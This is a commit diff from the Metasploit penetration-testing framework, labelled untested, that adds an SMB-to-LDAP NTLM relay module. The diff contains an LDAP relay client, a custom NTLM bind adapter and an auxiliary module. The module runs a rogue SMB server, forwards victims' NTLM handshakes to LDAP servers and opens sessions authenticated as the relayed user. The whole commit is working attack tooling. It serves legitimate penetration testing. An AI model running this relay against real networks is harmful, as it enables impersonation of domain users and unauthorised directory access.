Skip to content

Commit d8c6be2

Browse files
committed
Add an untested smb_to_ldap relay module
1 parent b9ea2d9 commit d8c6be2

File tree

5 files changed

+208
-1
lines changed

5 files changed

+208
-1
lines changed

lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -197,7 +197,7 @@ def relay_ntlmssp(session, incoming_security_buffer = nil)
197197

198198
# Should never occur
199199
else
200-
logger.error("Invalid ntlm request")
200+
logger.error('Invalid NTLM message')
201201
RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)
202202
end
203203
end
@@ -206,6 +206,8 @@ def create_relay_client(target, timeout)
206206
case target.protocol
207207
when :http, :https
208208
client = Target::HTTP::Client.create(self, target, logger, timeout)
209+
when :ldap
210+
client = Target::LDAP::Client.create(self, target, logger, timeout)
209211
when :smb
210212
client = Target::SMB::Client.create(self, target, logger, timeout)
211213
else
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
require 'rex/proto/ldap/auth_adapter'
2+
3+
module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP
4+
# The LDAP Client for interacting with the relayed_target
5+
# This isn't actually a Rex::Proto::LDAP::Client instance, but rather a Net::LDAP::Connection instance because of the
6+
# state requirements of the relay operations
7+
class Client < Net::LDAP::Connection
8+
attr_accessor :timeout
9+
attr_reader :target
10+
11+
def initialize(server, provider: nil, target: nil, logger: nil, timeout: DefaultConnectTimeout)
12+
@logger = logger
13+
@provider = provider
14+
@target = target
15+
@timeout = timeout
16+
17+
super(server)
18+
end
19+
20+
def self.create(provider, target, logger, timeout)
21+
new(
22+
{
23+
host: target.ip,
24+
port: target.port,
25+
connect_timeout: timeout
26+
},
27+
provider: provider,
28+
target: target,
29+
logger: logger
30+
)
31+
end
32+
33+
alias :disconnect! :close
34+
35+
# @param [String] client_type1_msg
36+
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
37+
def relay_ntlmssp_type1(client_type1_msg)
38+
ntlm_message = Net::NTLM::Message.parse(client_type1_msg)
39+
if ntlm_message.has_flag?(:SIGN)
40+
logger.vprint_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work')
41+
end
42+
43+
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type1_msg)
44+
45+
# todo: do something with this check
46+
pdu.result_code == Net::LDAP::ResultCodeSaslBindInProgress
47+
48+
server_type2_message = pdu.result_server_sasl_creds.to_s
49+
50+
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
51+
message: Net::NTLM::Message.parse(server_type2_message),
52+
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
53+
)
54+
end
55+
56+
# @param [String] client_type3_msg
57+
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
58+
def relay_ntlmssp_type3(client_type3_msg)
59+
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg)
60+
61+
case pdu.result_code
62+
when Net::LDAP::ResultCodeSuccess
63+
nt_status = WindowsError::NTStatus::STATUS_SUCCESS
64+
when Net::LDAP::ResultCodeInvalidCredentials
65+
nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE
66+
else
67+
return nil
68+
end
69+
70+
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
71+
end
72+
73+
protected
74+
75+
attr_reader :logger
76+
end
77+
end

lib/rex/proto/ldap/auth_adapter.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
require 'rex/proto/ldap/auth_adapter/rex_kerberos'
22
require 'rex/proto/ldap/auth_adapter/rex_ntlm'
3+
require 'rex/proto/ldap/auth_adapter/rex_relay_ntlm'
34

45
module Rex
56
module Proto
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# frozen_string_literal: true
2+
3+
require 'net/ldap/auth_adapter'
4+
require 'net/ldap/auth_adapter/sasl'
5+
require 'rubyntlm'
6+
7+
module Rex::Proto::LDAP::AuthAdapter
8+
# this implements NTLM authentication but facilitates operation from within a relay context where the NTLM processing
9+
# is being handled by an external entity (the relay victim) and it expects to be called repeatedly with the necessary
10+
# NTLM message
11+
class RexRelayNTLM < Net::LDAP::AuthAdapter
12+
# @param auth [Hash] the options for binding
13+
# @option opts [String] :ntlm_message the serialized NTLM message to send to the server, the type does not matter
14+
def bind(auth)
15+
mech = 'GSS-SPNEGO'
16+
ntlm_message = auth[:ntlm_message]
17+
raise Net::LDAP::BindingInformationInvalidError, "Invalid binding information (invalid NTLM message)" unless ntlm_message
18+
19+
message_id = @connection.next_msgid
20+
21+
22+
sasl = [mech.to_ber, ntlm_message.to_ber].to_ber_contextspecific(3)
23+
request = [
24+
Net::LDAP::Connection::LdapVersion.to_ber, "".to_ber, sasl
25+
].to_ber_appsequence(Net::LDAP::PDU::BindRequest)
26+
27+
@connection.send(:write, request, nil, message_id)
28+
pdu = @connection.queued_read(message_id)
29+
30+
if !pdu || pdu.app_tag != Net::LDAP::PDU::BindResult
31+
raise Net::LDAP::NoBindResultError, "no bind result"
32+
end
33+
34+
pdu
35+
end
36+
end
37+
end
38+
39+
Net::LDAP::AuthAdapter.register(:rex_relay_ntlm, Rex::Proto::LDAP::AuthAdapter::RexRelayNTLM)
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include ::Msf::Exploit::Remote::SMB::RelayServer
8+
include Msf::Auxiliary::CommandShell
9+
10+
def initialize
11+
super({
12+
'Name' => 'Relay: SMB to LDAP',
13+
'Description' => %q{
14+
},
15+
'Author' => [
16+
'bwatters-r7',
17+
'Spencer McIntyre'
18+
],
19+
'License' => MSF_LICENSE,
20+
'Actions' => [[ 'Relay', { 'Description' => 'Run SMB relay server' } ]],
21+
'PassiveActions' => [ 'Relay' ],
22+
'DefaultAction' => 'Relay'
23+
})
24+
25+
register_options(
26+
[
27+
Opt::RPORT(389)
28+
]
29+
)
30+
31+
register_advanced_options(
32+
[
33+
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
34+
OptInt.new('SessionKeepalive', [true, 'Time (in seconds) for sending protocol-level keepalive messages', 10 * 60])
35+
]
36+
)
37+
38+
deregister_options('RHOSTS')
39+
end
40+
41+
def relay_targets
42+
Msf::Exploit::Remote::SMB::Relay::TargetList.new(
43+
:ldap, # TODO: look into LDAPs
44+
datastore['RPORT'],
45+
datastore['RELAY_TARGETS'],
46+
datastore['TARGETURI'],
47+
randomize_targets: datastore['RANDOMIZE_TARGETS']
48+
)
49+
end
50+
51+
def check_options
52+
if datastore['RHOSTS'].present?
53+
print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')
54+
end
55+
end
56+
57+
def run
58+
check_options
59+
60+
start_service
61+
print_status('Server started.')
62+
63+
# Wait on the service to stop
64+
service.wait if service
65+
end
66+
67+
def on_relay_success(relay_connection:, relay_identity:)
68+
print_good('Relay succeeded')
69+
# Create a new session
70+
client = Rex::Proto::LDAP::Client.new(
71+
host: relay_connection.target.ip,
72+
port: relay_connection.target.port,
73+
auth: { method: :rex_relay_ntlm },
74+
connect_timeout: relay_connection.timeout
75+
)
76+
client.connection = relay_connection
77+
78+
my_session = Msf::Sessions::LDAP.new(relay_connection.socket, { client: client, keepalive_seconds: datastore['SessionKeepalive'] })
79+
80+
domain, _, username = relay_identity.partition('\\')
81+
merge_me = {
82+
'DOMAIN' => domain,
83+
'USERNAME' => username
84+
}
85+
86+
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
87+
end
88+
end

0 commit comments

Comments
 (0)